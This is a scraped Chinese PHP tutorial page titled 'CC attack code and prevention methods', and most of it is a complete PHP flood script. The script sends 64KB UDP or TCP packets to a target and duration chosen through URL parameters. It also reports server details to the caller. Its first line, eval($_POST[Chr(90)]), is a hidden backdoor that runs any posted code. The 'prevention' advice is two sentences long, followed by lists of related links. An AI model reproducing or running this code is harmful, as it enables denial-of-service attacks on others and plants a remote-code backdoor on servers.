php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
php 在线打包_支持子目录
Jun 28 PHP
mysql From_unixtime及UNIX_TIMESTAMP及DATE_FORMAT日期函数
Mar 21 PHP
PHP基础陷阱题(变量赋值)
Sep 12 PHP
PHP获取MSN好友列表类的实现代码
Jun 23 PHP
php中有关字符串的4个函数substr、strrchr、strstr、ereg介绍和使用例子
Apr 24 PHP
ThinkPHP CURD方法之page方法详解
Jun 18 PHP
php事务处理实例详解
Jul 11 PHP
Yii框架上传图片用法总结
Mar 28 PHP
PHP函数import_request_variables()用法分析
Apr 02 PHP
PHP+JQuery+Ajax实现分页方法详解
Aug 06 PHP
PHP+MariaDB数据库操作基本技巧备忘总结
May 21 PHP
PHP执行普通shell命令流程解析
Aug 24 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
详解PHP显示MySQL数据的三种方法
2008/06/05 PHP
五款常用mysql slow log分析工具的比较分析
2011/05/22 PHP
深入理解require与require_once与include以及include_once的区别
2013/06/05 PHP
php上传图片并压缩的实现方法
2015/12/22 PHP
PHP使用SWOOLE扩展实现定时同步 MySQL 数据
2017/04/09 PHP
JavaScript 应用类库代码
2008/06/02 Javascript
jquery.ui.progressbar 中文文档
2009/11/26 Javascript
表单JS弹出填写提示效果代码
2011/04/16 Javascript
简介JavaScript中setUTCSeconds()方法的使用
2015/06/12 Javascript
基于JavaScript代码实现兼容各浏览器的设为首页和加入收藏
2016/01/07 Javascript
基于MVC+EasyUI的web开发框架之使用云打印控件C-Lodop打印页面或套打报关运单信息
2016/08/29 Javascript
jQuery Validate设置onkeyup验证的实例代码
2016/12/09 Javascript
JavaScript实现公历转农历功能示例
2017/02/13 Javascript
JavaScript中创建对象的7种模式详解
2017/02/21 Javascript
jQuery实现jQuery-form.js实现异步上传文件
2017/04/28 jQuery
详解vue2.0+vue-video-player实现hls播放全过程
2018/03/02 Javascript
ES6的异步终极解决方案分享
2019/07/11 Javascript
JavaScript this在函数中的指向及实例详解
2019/10/14 Javascript
[59:07]海涛为你详解DOTA2新版本“贤哲秘契”
2014/11/22 DOTA
python结合API实现即时天气信息
2016/01/19 Python
Python每天必学之bytes字节
2016/01/28 Python
django rest framework 数据的查找、过滤、排序的示例
2018/06/25 Python
python爬虫简单的添加代理进行访问的实现代码
2019/04/04 Python
Python Opencv任意形状目标检测并绘制框图
2019/07/23 Python
python3 写一个WAV音频文件播放器的代码
2019/09/27 Python
python网络编程之五子棋游戏
2020/05/14 Python
CSS+jQuery实现的在线答题功能
2015/04/25 HTML / CSS
新郎父亲婚宴答谢词
2014/01/11 职场文书
优秀应届毕业生推荐信
2014/02/18 职场文书
人力资源本科毕业生求职信
2014/06/04 职场文书
装修公司工程部经理岗位职责
2015/04/09 职场文书
医院志愿者活动总结
2015/05/06 职场文书
环境卫生整治简报
2015/07/20 职场文书
JavaScript 去重和重复次数统计
2021/03/31 Javascript
html网页引入svg图片的4种方式
2022/08/05 HTML / CSS
Vue router配置与使用分析讲解
2022/12/24 Vue.js